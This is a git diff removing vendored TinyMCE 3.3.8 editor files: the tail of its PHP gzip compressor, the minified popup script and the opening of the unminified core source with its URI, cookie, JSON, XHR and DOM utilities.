functions - if ($core == "true") - $content .= "tinyMCE_GZ.end();"; - - // Generate GZIP'd content - if ($supportsGzip) { - if ($compress) { - header("Content-Encoding: " . $enc); - $cacheData = gzencode($content, 9, FORCE_GZIP); - } else - $cacheData = $content; - - // Write gz file - if ($diskCache && $cacheKey != "") - putFileContents($cacheFile, $cacheData); - - // Stream to client - echo $cacheData; - } else { - // Stream uncompressed content - echo $content; - } - - /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ - - function getParam($name, $def = false) { - if (!isset($_GET[$name])) - return $def; - - return preg_replace("/[^0-9a-z\-_,]+/i", "", $_GET[$name]); // Remove anything but 0-9,a-z,-_ - } - - function getFileContents($path) { - $path = realpath($path); - - if (!$path || !@is_file($path)) - return ""; - - if (function_exists("file_get_contents")) - return @file_get_contents($path); - - $content = ""; - $fp = @fopen($path, "r"); - if (!$fp) - return ""; - - while (!feof($fp)) - $content .= fgets($fp); - - fclose($fp); - - return $content; - } - - function putFileContents($path, $content) { - if (function_exists("file_put_contents")) - return @file_put_contents($path, $content); - - $fp = @fopen($path, "wb"); - if ($fp) { - fwrite($fp, $content); - fclose($fp); - } - } -?> \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_popup.js b/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_popup.js deleted file mode 100644 index 3ef3acb..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_popup.js +++ /dev/null @@ -1,5 +0,0 @@ - -// Uncomment and change this document.domain value if you are loading the script cross subdomains -// document.domain = 'moxiecode.com'; - -var tinymce=null,tinyMCEPopup,tinyMCE;tinyMCEPopup={init:function(){var b=this,a,c;a=b.getWin();tinymce=a.tinymce;tinyMCE=a.tinyMCE;b.editor=tinymce.EditorManager.activeEditor;b.params=b.editor.windowManager.params;b.features=b.editor.windowManager.features;b.dom=b.editor.windowManager.createInstance("tinymce.dom.DOMUtils",document);if(b.features.popup_css!==false){b.dom.loadCSS(b.features.popup_css||b.editor.settings.popup_css)}b.listeners=[];b.onInit={add:function(e,d){b.listeners.push({func:e,scope:d})}};b.isWindow=!b.getWindowArg("mce_inline");b.id=b.getWindowArg("mce_window_id");b.editor.windowManager.onOpen.dispatch(b.editor.windowManager,window)},getWin:function(){return(!window.frameElement&&window.dialogArguments)||opener||parent||top},getWindowArg:function(c,b){var a=this.params[c];return tinymce.is(a)?a:b},getParam:function(b,a){return this.editor.getParam(b,a)},getLang:function(b,a){return this.editor.getLang(b,a)},execCommand:function(d,c,e,b){b=b||{};b.skip_focus=1;this.restoreSelection();return this.editor.execCommand(d,c,e,b)},resizeToInnerSize:function(){var a=this;setTimeout(function(){var b=a.dom.getViewPort(window);a.editor.windowManager.resizeBy(a.getWindowArg("mce_width")-b.w,a.getWindowArg("mce_height")-b.h,a.id||window)},0)},executeOnLoad:function(s){this.onInit.add(function(){eval(s)})},storeSelection:function(){this.editor.windowManager.bookmark=tinyMCEPopup.editor.selection.getBookmark(1)},restoreSelection:function(){var a=tinyMCEPopup;if(!a.isWindow&&tinymce.isIE){a.editor.selection.moveToBookmark(a.editor.windowManager.bookmark)}},requireLangPack:function(){var b=this,a=b.getWindowArg("plugin_url")||b.getWindowArg("theme_url");if(a&&b.editor.settings.language&&b.features.translate_i18n!==false){a+="/langs/"+b.editor.settings.language+"_dlg.js";if(!tinymce.ScriptLoader.isDone(a)){document.write('<script type="text/javascript" src="'+tinymce._addVer(a)+'"><\/script>');tinymce.ScriptLoader.markDone(a)}}},pickColor:function(b,a){this.execCommand("mceColorPicker",true,{color:document.getElementById(a).value,func:function(e){document.getElementById(a).value=e;try{document.getElementById(a).onchange()}catch(d){}}})},openBrowser:function(a,c,b){tinyMCEPopup.restoreSelection();this.editor.execCallback("file_browser_callback",a,document.getElementById(a).value,c,window)},confirm:function(b,a,c){this.editor.windowManager.confirm(b,a,c,window)},alert:function(b,a,c){this.editor.windowManager.alert(b,a,c,window)},close:function(){var a=this;function b(){a.editor.windowManager.close(window);tinymce=tinyMCE=a.editor=a.params=a.dom=a.dom.doc=null}if(tinymce.isOpera){a.getWin().setTimeout(b,0)}else{b()}},_restoreSelection:function(){var a=window.event.srcElement;if(a.nodeName=="INPUT"&&(a.type=="submit"||a.type=="button")){tinyMCEPopup.restoreSelection()}},_onDOMLoaded:function(){var b=tinyMCEPopup,d=document.title,e,c,a;if(b.domLoaded){return}b.domLoaded=1;if(b.features.translate_i18n!==false){c=document.body.innerHTML;if(tinymce.isIE){c=c.replace(/ (value|title|alt)=([^"][^\s>]+)/gi,' $1="$2"')}document.dir=b.editor.getParam("directionality","");if((a=b.editor.translate(c))&&a!=c){document.body.innerHTML=a}if((a=b.editor.translate(d))&&a!=d){document.title=d=a}}document.body.style.display="";if(tinymce.isIE){document.attachEvent("onmouseup",tinyMCEPopup._restoreSelection);b.dom.add(b.dom.select("head")[0],"base",{target:"_self"})}b.restoreSelection();b.resizeToInnerSize();if(!b.isWindow){b.editor.windowManager.setTitle(window,d)}else{window.focus()}if(!tinymce.isIE&&!b.isWindow){tinymce.dom.Event._add(document,"focus",function(){b.editor.windowManager.focus(b.id)})}tinymce.each(b.dom.select("select"),function(f){f.onkeydown=tinyMCEPopup._accessHandler});tinymce.each(b.listeners,function(f){f.func.call(f.scope,b.editor)});if(b.getWindowArg("mce_auto_focus",true)){window.focus();tinymce.each(document.forms,function(g){tinymce.each(g.elements,function(f){if(b.dom.hasClass(f,"mceFocus")&&!f.disabled){f.focus();return false}})})}document.onkeyup=tinyMCEPopup._closeWinKeyHandler},_accessHandler:function(a){a=a||window.event;if(a.keyCode==13||a.keyCode==32){a=a.target||a.srcElement;if(a.onchange){a.onchange()}return tinymce.dom.Event.cancel(a)}},_closeWinKeyHandler:function(a){a=a||window.event;if(a.keyCode==27){tinyMCEPopup.close()}},_wait:function(){if(document.attachEvent){document.attachEvent("onreadystatechange",function(){if(document.readyState==="complete"){document.detachEvent("onreadystatechange",arguments.callee);tinyMCEPopup._onDOMLoaded()}});if(document.documentElement.doScroll&&window==window.top){(function(){if(tinyMCEPopup.domLoaded){return}try{document.documentElement.doScroll("left")}catch(a){setTimeout(arguments.callee,0);return}tinyMCEPopup._onDOMLoaded()})()}document.attachEvent("onload",tinyMCEPopup._onDOMLoaded)}else{if(document.addEventListener){window.addEventListener("DOMContentLoaded",tinyMCEPopup._onDOMLoaded,false);window.addEventListener("load",tinyMCEPopup._onDOMLoaded,false)}}}};tinyMCEPopup.init();tinyMCEPopup._wait(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_src.js b/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_src.js deleted file mode 100644 index ca8df17..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_src.js +++ /dev/null @@ -1,14170 +0,0 @@ -(function(win) { - var whiteSpaceRe = /^\s*|\s*$/g, - undefined; - - var tinymce = { - majorVersion : '3', - - minorVersion : '3.8', - - releaseDate : '2010-06-30', - - _init : function() { - var t = this, d = document, na = navigator, ua = na.userAgent, i, nl, n, base, p, v; - - t.isOpera = win.opera && opera.buildNumber; - - t.isWebKit = /WebKit/.test(ua); - - t.isIE = !t.isWebKit && !t.isOpera && (/MSIE/gi).test(ua) && (/Explorer/gi).test(na.appName); - - t.isIE6 = t.isIE && /MSIE [56]/.test(ua); - - t.isGecko = !t.isWebKit && /Gecko/.test(ua); - - t.isMac = ua.indexOf('Mac') != -1; - - t.isAir = /adobeair/i.test(ua); - - t.isIDevice = /(iPad|iPhone)/.test(ua); - - // TinyMCE .NET webcontrol might be setting the values for TinyMCE - if (win.tinyMCEPreInit) { - t.suffix = tinyMCEPreInit.suffix; - t.baseURL = tinyMCEPreInit.base; - t.query = tinyMCEPreInit.query; - return; - } - - // Get suffix and base - t.suffix = ''; - - // If base element found, add that infront of baseURL - nl = d.getElementsByTagName('base'); - for (i=0; i<nl.length; i++) { - if (v = nl[i].href) { - // Host only value like http://site.com or http://site.com:8008 - if (/^https?:\/\/[^\/]+$/.test(v)) - v += '/'; - - base = v ? v.match(/.*\//)[0] : ''; // Get only directory - } - } - - function getBase(n) { - if (n.src && /tiny_mce(|_gzip|_jquery|_prototype)(_dev|_src)?.js/.test(n.src)) { - if (/_(src|dev)\.js/g.test(n.src)) - t.suffix = '_src'; - - if ((p = n.src.indexOf('?')) != -1) - t.query = n.src.substring(p + 1); - - t.baseURL = n.src.substring(0, n.src.lastIndexOf('/')); - - // If path to script is relative and a base href was found add that one infront - // the src property will always be an absolute one on non IE browsers and IE 8 - // so this logic will basically only be executed on older IE versions - if (base && t.baseURL.indexOf('://') == -1 && t.baseURL.indexOf('/') !== 0) - t.baseURL = base + t.baseURL; - - return t.baseURL; - } - - return null; - }; - - // Check document - nl = d.getElementsByTagName('script'); - for (i=0; i<nl.length; i++) { - if (getBase(nl[i])) - return; - } - - // Check head - n = d.getElementsByTagName('head')[0]; - if (n) { - nl = n.getElementsByTagName('script'); - for (i=0; i<nl.length; i++) { - if (getBase(nl[i])) - return; - } - } - - return; - }, - - is : function(o, t) { - if (!t) - return o !== undefined; - - if (t == 'array' && (o.hasOwnProperty && o instanceof Array)) - return true; - - return typeof(o) == t; - }, - - each : function(o, cb, s) { - var n, l; - - if (!o) - return 0; - - s = s || o; - - if (o.length !== undefined) { - // Indexed arrays, needed for Safari - for (n=0, l = o.length; n < l; n++) { - if (cb.call(s, o[n], n, o) === false) - return 0; - } - } else { - // Hashtables - for (n in o) { - if (o.hasOwnProperty(n)) { - if (cb.call(s, o[n], n, o) === false) - return 0; - } - } - } - - return 1; - }, - - - map : function(a, f) { - var o = []; - - tinymce.each(a, function(v) { - o.push(f(v)); - }); - - return o; - }, - - grep : function(a, f) { - var o = []; - - tinymce.each(a, function(v) { - if (!f || f(v)) - o.push(v); - }); - - return o; - }, - - inArray : function(a, v) { - var i, l; - - if (a) { - for (i = 0, l = a.length; i < l; i++) { - if (a[i] === v) - return i; - } - } - - return -1; - }, - - extend : function(o, e) { - var i, l, a = arguments; - - for (i = 1, l = a.length; i < l; i++) { - e = a[i]; - - tinymce.each(e, function(v, n) { - if (v !== undefined) - o[n] = v; - }); - } - - return o; - }, - - - trim : function(s) { - return (s ? '' + s : '').replace(whiteSpaceRe, ''); - }, - - create : function(s, p) { - var t = this, sp, ns, cn, scn, c, de = 0; - - // Parse : <prefix> <class>:<super class> - s = /^((static) )?([\w.]+)(:([\w.]+))?/.exec(s); - cn = s[3].match(/(^|\.)(\w+)$/i)[2]; // Class name - - // Create namespace for new class - ns = t.createNS(s[3].replace(/\.\w+$/, '')); - - // Class already exists - if (ns[cn]) - return; - - // Make pure static class - if (s[2] == 'static') { - ns[cn] = p; - - if (this.onCreate) - this.onCreate(s[2], s[3], ns[cn]); - - return; - } - - // Create default constructor - if (!p[cn]) { - p[cn] = function() {}; - de = 1; - } - - // Add constructor and methods - ns[cn] = p[cn]; - t.extend(ns[cn].prototype, p); - - // Extend - if (s[5]) { - sp = t.resolve(s[5]).prototype; - scn = s[5].match(/\.(\w+)$/i)[1]; // Class name - - // Extend constructor - c = ns[cn]; - if (de) { - // Add passthrough constructor - ns[cn] = function() { - return sp[scn].apply(this, arguments); - }; - } else { - // Add inherit constructor - ns[cn] = function() { - this.parent = sp[scn]; - return c.apply(this, arguments); - }; - } - ns[cn].prototype[cn] = ns[cn]; - - // Add super methods - t.each(sp, function(f, n) { - ns[cn].prototype[n] = sp[n]; - }); - - // Add overridden methods - t.each(p, function(f, n) { - // Extend methods if needed - if (sp[n]) { - ns[cn].prototype[n] = function() { - this.parent = sp[n]; - return f.apply(this, arguments); - }; - } else { - if (n != cn) - ns[cn].prototype[n] = f; - } - }); - } - - // Add static methods - t.each(p['static'], function(f, n) { - ns[cn][n] = f; - }); - - if (this.onCreate) - this.onCreate(s[2], s[3], ns[cn].prototype); - }, - - walk : function(o, f, n, s) { - s = s || this; - - if (o) { - if (n) - o = o[n]; - - tinymce.each(o, function(o, i) { - if (f.call(s, o, i, n) === false) - return false; - - tinymce.walk(o, f, n, s); - }); - } - }, - - createNS : function(n, o) { - var i, v; - - o = o || win; - - n = n.split('.'); - for (i=0; i<n.length; i++) { - v = n[i]; - - if (!o[v]) - o[v] = {}; - - o = o[v]; - } - - return o; - }, - - resolve : function(n, o) { - var i, l; - - o = o || win; - - n = n.split('.'); - for (i = 0, l = n.length; i < l; i++) { - o = o[n[i]]; - - if (!o) - break; - } - - return o; - }, - - addUnload : function(f, s) { - var t = this; - - f = {func : f, scope : s || this}; - - if (!t.unloads) { - function unload() { - var li = t.unloads, o, n; - - if (li) { - // Call unload handlers - for (n in li) { - o = li[n]; - - if (o && o.func) - o.func.call(o.scope, 1); // Send in one arg to distinct unload and user destroy - } - - // Detach unload function - if (win.detachEvent) { - win.detachEvent('onbeforeunload', fakeUnload); - win.detachEvent('onunload', unload); - } else if (win.removeEventListener) - win.removeEventListener('unload', unload, false); - - // Destroy references - t.unloads = o = li = w = unload = 0; - - // Run garbarge collector on IE - if (win.CollectGarbage) - CollectGarbage(); - } - }; - - function fakeUnload() { - var d = document; - - // Is there things still loading, then do some magic - if (d.readyState == 'interactive') { - function stop() { - // Prevent memory leak - d.detachEvent('onstop', stop); - - // Call unload handler - if (unload) - unload(); - - d = 0; - }; - - // Fire unload when the currently loading page is stopped - if (d) - d.attachEvent('onstop', stop); - - // Remove onstop listener after a while to prevent the unload function - // to execute if the user presses cancel in an onbeforeunload - // confirm dialog and then presses the browser stop button - win.setTimeout(function() { - if (d) - d.detachEvent('onstop', stop); - }, 0); - } - }; - - // Attach unload handler - if (win.attachEvent) { - win.attachEvent('onunload', unload); - win.attachEvent('onbeforeunload', fakeUnload); - } else if (win.addEventListener) - win.addEventListener('unload', unload, false); - - // Setup initial unload handler array - t.unloads = [f]; - } else - t.unloads.push(f); - - return f; - }, - - removeUnload : function(f) { - var u = this.unloads, r = null; - - tinymce.each(u, function(o, i) { - if (o && o.func == f) { - u.splice(i, 1); - r = f; - return false; - } - }); - - return r; - }, - - explode : function(s, d) { - return s ? tinymce.map(s.split(d || ','), tinymce.trim) : s; - }, - - _addVer : function(u) { - var v; - - if (!this.query) - return u; - - v = (u.indexOf('?') == -1 ? '?' : '&') + this.query; - - if (u.indexOf('#') == -1) - return u + v; - - return u.replace('#', v + '#'); - } - - }; - - // Initialize the API - tinymce._init(); - - // Expose tinymce namespace to the global namespace (window) - win.tinymce = win.tinyMCE = tinymce; -})(window); - - -tinymce.create('tinymce.util.Dispatcher', { - scope : null, - listeners : null, - - Dispatcher : function(s) { - this.scope = s || this; - this.listeners = []; - }, - - add : function(cb, s) { - this.listeners.push({cb : cb, scope : s || this.scope}); - - return cb; - }, - - addToTop : function(cb, s) { - this.listeners.unshift({cb : cb, scope : s || this.scope}); - - return cb; - }, - - remove : function(cb) { - var l = this.listeners, o = null; - - tinymce.each(l, function(c, i) { - if (cb == c.cb) { - o = cb; - l.splice(i, 1); - return false; - } - }); - - return o; - }, - - dispatch : function() { - var s, a = arguments, i, li = this.listeners, c; - - // Needs to be a real loop since the listener count might change while looping - // And this is also more efficient - for (i = 0; i<li.length; i++) { - c = li[i]; - s = c.cb.apply(c.scope, a); - - if (s === false) - break; - } - - return s; - } - - }); - -(function() { - var each = tinymce.each; - - tinymce.create('tinymce.util.URI', { - URI : function(u, s) { - var t = this, o, a, b; - - // Trim whitespace - u = tinymce.trim(u); - - // Default settings - s = t.settings = s || {}; - - // Strange app protocol or local anchor - if (/^(mailto|tel|news|javascript|about|data):/i.test(u) || /^\s*#/.test(u)) { - t.source = u; - return; - } - - // Absolute path with no host, fake host and protocol - if (u.indexOf('/') === 0 && u.indexOf('//') !== 0) - u = (s.base_uri ? s.base_uri.protocol || 'http' : 'http') + '://mce_host' + u; - - // Relative path http:// or protocol relative //path - if (!/^\w*:?\/\//.test(u)) - u = (s.base_uri.protocol || 'http') + '://mce_host' + t.toAbsPath(s.base_uri.path, u); - - // Parse URL (Credits goes to Steave, http://blog.stevenlevithan.com/archives/parseuri) - u = u.replace(/@@/g, '(mce_at)'); // Zope 3 workaround, they use @@something - u = /^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(u); - each(["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"], function(v, i) { - var s = u[i]; - - // Zope 3 workaround, they use @@something - if (s) - s = s.replace(/\(mce_at\)/g, '@@'); - - t[v] = s; - }); - - if (b = s.base_uri) { - if (!t.protocol) - t.protocol = b.protocol; - - if (!t.userInfo) - t.userInfo = b.userInfo; - - if (!t.port && t.host == 'mce_host') - t.port = b.port; - - if (!t.host || t.host == 'mce_host') - t.host = b.host; - - t.source = ''; - } - - //t.path = t.path || '/'; - }, - - setPath : function(p) { - var t = this; - - p = /^(.*?)\/?(\w+)?$/.exec(p); - - // Update path parts - t.path = p[0]; - t.directory = p[1]; - t.file = p[2]; - - // Rebuild source - t.source = ''; - t.getURI(); - }, - - toRelative : function(u) { - var t = this, o; - - if (u === "./") - return u; - - u = new tinymce.util.URI(u, {base_uri : t}); - - // Not on same domain/port or protocol - if ((u.host != 'mce_host' && t.host != u.host && u.host) || t.port != u.port || t.protocol != u.protocol) - return u.getURI(); - - o = t.toRelPath(t.path, u.path); - - // Add query - if (u.query) - o += '?' + u.query; - - // Add anchor - if (u.anchor) - o += '#' + u.anchor; - - return o; - }, - - toAbsolute : function(u, nh) { - var u = new tinymce.util.URI(u, {base_uri : this}); - - return u.getURI(this.host == u.host && this.protocol == u.protocol ? nh : 0); - }, - - toRelPath : function(base, path) { - var items, bp = 0, out = '', i, l; - - // Split the paths - base = base.substring(0, base.lastIndexOf('/')); - base = base.split('/'); - items = path.split('/'); - - if (base.length >= items.length) { - for (i = 0, l = base.length; i < l; i++) { - if (i >= items.length || base[i] != items[i]) { - bp = i + 1; - break; - } - } - } - - if (base.length < items.length) { - for (i = 0, l = items.length; i < l; i++) { - if (i >= base.length || base[i] != items[i]) { - bp = i + 1; - break; - } - } - } - - if (bp == 1) - return path; - - for (i = 0, l = base.length - (bp - 1); i < l; i++) - out += "../"; - - for (i = bp - 1, l = items.length; i < l; i++) { - if (i != bp - 1) - out += "/" + items[i]; - else - out += items[i]; - } - - return out; - }, - - toAbsPath : function(base, path) { - var i, nb = 0, o = [], tr, outPath; - - // Split paths - tr = /\/$/.test(path) ? '/' : ''; - base = base.split('/'); - path = path.split('/'); - - // Remove empty chunks - each(base, function(k) { - if (k) - o.push(k); - }); - - base = o; - - // Merge relURLParts chunks - for (i = path.length - 1, o = []; i >= 0; i--) { - // Ignore empty or . - if (path[i].length == 0 || path[i] == ".") - continue; - - // Is parent - if (path[i] == '..') { - nb++; - continue; - } - - // Move up - if (nb > 0) { - nb--; - continue; - } - - o.push(path[i]); - } - - i = base.length - nb; - - // If /a/b/c or / - if (i <= 0) - outPath = o.reverse().join('/'); - else - outPath = base.slice(0, i).join('/') + '/' + o.reverse().join('/'); - - // Add front / if it's needed - if (outPath.indexOf('/') !== 0) - outPath = '/' + outPath; - - // Add traling / if it's needed - if (tr && outPath.lastIndexOf('/') !== outPath.length - 1) - outPath += tr; - - return outPath; - }, - - getURI : function(nh) { - var s, t = this; - - // Rebuild source - if (!t.source || nh) { - s = ''; - - if (!nh) { - if (t.protocol) - s += t.protocol + '://'; - - if (t.userInfo) - s += t.userInfo + '@'; - - if (t.host) - s += t.host; - - if (t.port) - s += ':' + t.port; - } - - if (t.path) - s += t.path; - - if (t.query) - s += '?' + t.query; - - if (t.anchor) - s += '#' + t.anchor; - - t.source = s; - } - - return t.source; - } - }); -})(); - -(function() { - var each = tinymce.each; - - tinymce.create('static tinymce.util.Cookie', { - getHash : function(n) { - var v = this.get(n), h; - - if (v) { - each(v.split('&'), function(v) { - v = v.split('='); - h = h || {}; - h[unescape(v[0])] = unescape(v[1]); - }); - } - - return h; - }, - - setHash : function(n, v, e, p, d, s) { - var o = ''; - - each(v, function(v, k) { - o += (!o ? '' : '&') + escape(k) + '=' + escape(v); - }); - - this.set(n, o, e, p, d, s); - }, - - get : function(n) { - var c = document.cookie, e, p = n + "=", b; - - // Strict mode - if (!c) - return; - - b = c.indexOf("; " + p); - - if (b == -1) { - b = c.indexOf(p); - - if (b != 0) - return null; - } else - b += 2; - - e = c.indexOf(";", b); - - if (e == -1) - e = c.length; - - return unescape(c.substring(b + p.length, e)); - }, - - set : function(n, v, e, p, d, s) { - document.cookie = n + "=" + escape(v) + - ((e) ? "; expires=" + e.toGMTString() : "") + - ((p) ? "; path=" + escape(p) : "") + - ((d) ? "; domain=" + d : "") + - ((s) ? "; secure" : ""); - }, - - remove : function(n, p) { - var d = new Date(); - - d.setTime(d.getTime() - 1000); - - this.set(n, '', d, p, d); - } - }); -})(); - -tinymce.create('static tinymce.util.JSON', { - serialize : function(o) { - var i, v, s = tinymce.util.JSON.serialize, t; - - if (o == null) - return 'null'; - - t = typeof o; - - if (t == 'string') { - v = '\bb\tt\nn\ff\rr\""\'\'\\\\'; - - return '"' + o.replace(/([\u0080-\uFFFF\x00-\x1f\"])/g, function(a, b) { - i = v.indexOf(b); - - if (i + 1) - return '\\' + v.charAt(i + 1); - - a = b.charCodeAt().toString(16); - - return '\\u' + '0000'.substring(a.length) + a; - }) + '"'; - } - - if (t == 'object') { - if (o.hasOwnProperty && o instanceof Array) { - for (i=0, v = '['; i<o.length; i++) - v += (i > 0 ? ',' : '') + s(o[i]); - - return v + ']'; - } - - v = '{'; - - for (i in o) - v += typeof o[i] != 'function' ? (v.length > 1 ? ',"' : '"') + i + '":' + s(o[i]) : ''; - - return v + '}'; - } - - return '' + o; - }, - - parse : function(s) { - try { - return eval('(' + s + ')'); - } catch (ex) { - // Ignore - } - } - - }); - -tinymce.create('static tinymce.util.XHR', { - send : function(o) { - var x, t, w = window, c = 0; - - // Default settings - o.scope = o.scope || this; - o.success_scope = o.success_scope || o.scope; - o.error_scope = o.error_scope || o.scope; - o.async = o.async === false ? false : true; - o.data = o.data || ''; - - function get(s) { - x = 0; - - try { - x = new ActiveXObject(s); - } catch (ex) { - } - - return x; - }; - - x = w.XMLHttpRequest ? new XMLHttpRequest() : get('Microsoft.XMLHTTP') || get('Msxml2.XMLHTTP'); - - if (x) { - if (x.overrideMimeType) - x.overrideMimeType(o.content_type); - - x.open(o.type || (o.data ? 'POST' : 'GET'), o.url, o.async); - - if (o.content_type) - x.setRequestHeader('Content-Type', o.content_type); - - x.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); - - x.send(o.data); - - function ready() { - if (!o.async || x.readyState == 4 || c++ > 10000) { - if (o.success && c < 10000 && x.status == 200) - o.success.call(o.success_scope, '' + x.responseText, x, o); - else if (o.error) - o.error.call(o.error_scope, c > 10000 ? 'TIMED_OUT' : 'GENERAL', x, o); - - x = null; - } else - w.setTimeout(ready, 10); - }; - - // Syncronous request - if (!o.async) - return ready(); - - // Wait for response, onReadyStateChange can not be used since it leaks memory in IE - t = w.setTimeout(ready, 10); - } - } -}); - -(function() { - var extend = tinymce.extend, JSON = tinymce.util.JSON, XHR = tinymce.util.XHR; - - tinymce.create('tinymce.util.JSONRequest', { - JSONRequest : function(s) { - this.settings = extend({ - }, s); - this.count = 0; - }, - - send : function(o) { - var ecb = o.error, scb = o.success; - - o = extend(this.settings, o); - - o.success = function(c, x) { - c = JSON.parse(c); - - if (typeof(c) == 'undefined') { - c = { - error : 'JSON Parse error.' - }; - } - - if (c.error) - ecb.call(o.error_scope || o.scope, c.error, x); - else - scb.call(o.success_scope || o.scope, c.result); - }; - - o.error = function(ty, x) { - ecb.call(o.error_scope || o.scope, ty, x); - }; - - o.data = JSON.serialize({ - id : o.id || 'c' + (this.count++), - method : o.method, - params : o.params - }); - - // JSON content type for Ruby on rails. Bug: #1883287 - o.content_type = 'application/json'; - - XHR.send(o); - }, - - 'static' : { - sendRPC : function(o) { - return new tinymce.util.JSONRequest().send(o); - } - } - }); -}()); -(function(tinymce) { - // Shorten names - var each = tinymce.each, - is = tinymce.is, - isWebKit = tinymce.isWebKit, - isIE = tinymce.isIE, - blockRe = /^(H[1-6R]|P|DIV|ADDRESS|PRE|FORM|T(ABLE|BODY|HEAD|FOOT|H|R|D)|LI|OL|UL|CAPTION|BLOCKQUOTE|CENTER|DL|DT|DD|DIR|FIELDSET|NOSCRIPT|MENU|ISINDEX|SAMP)$/, - boolAttrs = makeMap('checked,compact,declare,defer,disabled,ismap,multiple,nohref,noresize,noshade,nowrap,readonly,selected'), - mceAttribs = makeMap('src,href,style,coords,shape'), - encodedChars = {'&' : '&amp;', '"' : '&quot;', '<' : '&lt;', '>' : '&gt;'}, - encodeCharsRe = /[<>&\"]/g, - simpleSelectorRe = /^([a-z0-9],?)+$/i, - tagRegExp = /<(\w+)((?:\s+\w+(?:\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|[^>\s]+))?)*)(\s*\/?)>/g, - attrRegExp = /(\w+)(?:\s*=\s*(?:(?:"((?:\\.|[^"])*)")|(?:'((?:\\.|[^'])*)')|([^>\s]+)))?/g; - - function makeMap(str) { - var map = {}, i; - - str = str.split(','); - for (i = str.length; i >= 0; i--) - map[str[i]] = 1; - - return map; - }; - - tinymce.create('tinymce.dom.DOMUtils', { - doc : null, - root : null, - files : null, - pixelStyles : /^(top|left|bottom|right|width|height|borderWidth)$/, - props : { - "for" : "htmlFor", - "class" : "className", - className : "className", - checked : "checked", - disabled : "disabled", - maxlength : "maxLength", - readonly : "readOnly", - selected : "selected", - value : "value", - id : "id", - name : "name", - type : "type" - }, - - DOMUtils : function(d, s) { - var t = this, globalStyle; - - t.doc = d; - t.win = window; - t.files = {}; - t.cssFlicker = false; - t.counter = 0; - t.boxModel = !tinymce.isIE || d.compatMode == "CSS1Compat"; - t.stdMode = d.documentMode === 8; - - t.settings = s = tinymce.extend({ - keep_values : false, - hex_colors : 1, - process_html : 1 - }, s); - - // Fix IE6SP2 flicker and check it failed for pre SP2 - if (tinymce.isIE6) { - try { - d.execCommand('BackgroundImageCache', false, true); - } catch (e) { - t.cssFlicker = true; - } - } - - // Build styles list - if (s.valid_styles) { - t._styles = {}; - - // Convert styles into a rule list - each(s.valid_styles, function(value, key) { - t._styles[key] = tinymce.explode(value); - }); - } - - tinymce.addUnload(t.destroy, t); - }, - - getRoot : function() { - var t = this, s = t.settings; - - return (s && t.get(s.root_element)) || t.doc.body; - }, - - getViewPort : function(w) { - var d, b; - - w = !w ? this.win : w; - d = w.document; - b = this.boxModel ? d.documentElement : d.body; - - // Returns viewport size excluding scrollbars - return { - x : w.pageXOffset || b.scrollLeft, - y : w.pageYOffset || b.scrollTop, - w : w.innerWidth || b.clientWidth, - h : w.innerHeight || b.clientHeight - }; - }, - - getRect : function(e) { - var p, t = this, sr; - - e = t.get(e); - p = t.getPos(e); - sr = t.getSize(e); - - return { - x : p.x, - y : p.y, - w : sr.w, - h : sr.h - }; - }, - - getSize : function(e) { - var t = this, w, h; - - e = t.get(e); - w = t.getStyle(e, 'width'); - h = t.getStyle(e, 'height'); - - // Non pixel value, then force offset/clientWidth - if (w.indexOf('px') === -1) - w = 0; - - // Non pixel value, then force offset/clientWidth - if (h.indexOf('px') === -1) - h = 0; - - return { - w : parseInt(w) || e.offsetWidth || e.clientWidth, - h : parseInt(h) || e.offsetHeight || e.clientHeight - }; - }, - - getParent : function(n, f, r) { - return this.getParents(n, f, r, false); - }, - - getParents : function(n, f, r, c) { - var t = this, na, se = t.settings, o = []; - - n = t.get(n); - c = c === undefined; - - if (se.strict_root) - r = r || t.getRoot(); - - // Wrap node name as func - if (is(f, 'string')) { - na = f; - - if (f === '*') { - f = function(n) {return n.nodeType == 1;}; - } else { - f = function(n) { - return t.is(n, na); - }; - } - } - - while (n) { - if (n == r || !n.nodeType || n.nodeType === 9) - break; - - if (!f || f(n)) { - if (c) - o.push(n); - else - return n; - } - - n = n.parentNode; - } - - return c ? o : null; - }, - - get : function(e) { - var n; - - if (e && this.doc && typeof(e) == 'string') { - n = e; - e = this.doc.getElementById(e); - - // IE and Opera returns meta elements when they match the specified input ID, but getElementsByName seems to do the trick - if (e && e.id !== n) - return this.doc.getElementsByName(n)[1]; - } - - return e; - }, - - getNext : function(node, selector) { - return this._findSib(node, selector, 'nextSibling'); - }, - - getPrev : function(node, selector) { - return this._findSib(node, selector, 'previousSibling'); - }, - - - select : function(pa, s) { - var t = this; - - return tinymce.dom.Sizzle(pa, t.get(s) || t.get(t.settings.root_element) || t.doc, []); - }, - - is : function(n, selector) { - var i; - - // If it isn't an array then try to do some simple selectors instead of Sizzle for to boost performance - if (n.length === undefined) { - // Simple all selector - if (selector === '*') - return n.nodeType == 1; - - // Simple selector just elements - if (simpleSelectorRe.test(selector)) { - selector = selector.toLowerCase().split(/,/); - n = n.nodeName.toLowerCase(); - - for (i = selector.length - 1; i >= 0; i--) { - if (selector[i] == n) - return true; - } - - return false; - } - } - - return tinymce.dom.Sizzle.matches(selector, n.nodeType ? [n] : n).length > 0; - }, - - - add : function(p, n, a, h, c) { - var t = this; - - return this.run(p, function(p) { - var e, k; - - e = is(n, 'string') ? t.doc.createElement(n) : n; - t.setAttribs(e, a); - - if (h) { - if (h.nodeType) - e.appendChild(h); - else - t.setHTML(e, h); - } - - return !c ? p.appendChild(e) : e; - }); - }, - - create : function(n, a, h) { - return this.add(this.doc.createElement(n), n, a, h, 1); - }, - - createHTML : function(n, a, h) { - var o = '', t = this, k; 